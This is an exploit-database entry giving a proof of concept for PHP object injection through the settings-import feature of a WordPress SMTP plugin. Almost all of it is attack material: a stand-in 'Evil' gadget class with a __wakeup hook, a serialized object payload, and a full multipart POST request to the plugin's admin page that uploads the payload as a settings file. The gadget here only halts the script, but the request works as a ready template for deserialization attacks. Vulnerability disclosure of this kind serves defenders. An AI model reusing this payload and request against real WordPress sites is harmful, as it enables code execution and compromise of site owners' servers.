## https://sploitus.com/exploit?id=WPEX-ID:0E735502-EAA2-4047-949E-BC8EB6B39FC9
To simulate a gadget chain, put the following code in a plugin
class Evil {
public function __wakeup() : void {
die("Arbitrary deserialization");
}
}
Create a file named settings.json with the following content and import it via the Import function of the plugin (in Additional Settings tab): O:4:"Evil":0:{};
POST /wp-admin/options-general.php?page=swpsmtp_settings HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------127630456919881657704041725253
Content-Length: 747
Connection: close
Cookie: [admin]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
-----------------------------127630456919881657704041725253
Content-Disposition: form-data; name="swpsmtp_import_settings"
1
-----------------------------127630456919881657704041725253
Content-Disposition: form-data; name="swpsmtp_import_settings_file"; filename="easy_wp_smtp_settings.json"
Content-Type: application/json
O:4:"Evil":0:{};
-----------------------------127630456919881657704041725253
Content-Disposition: form-data; name="easy_wp_smtp_import_settings_nonce"
e1cde708ae
-----------------------------127630456919881657704041725253
Content-Disposition: form-data; name="_wp_http_referer"
/wp-admin/options-general.php?page=swpsmtp_settings
-----------------------------127630456919881657704041725253--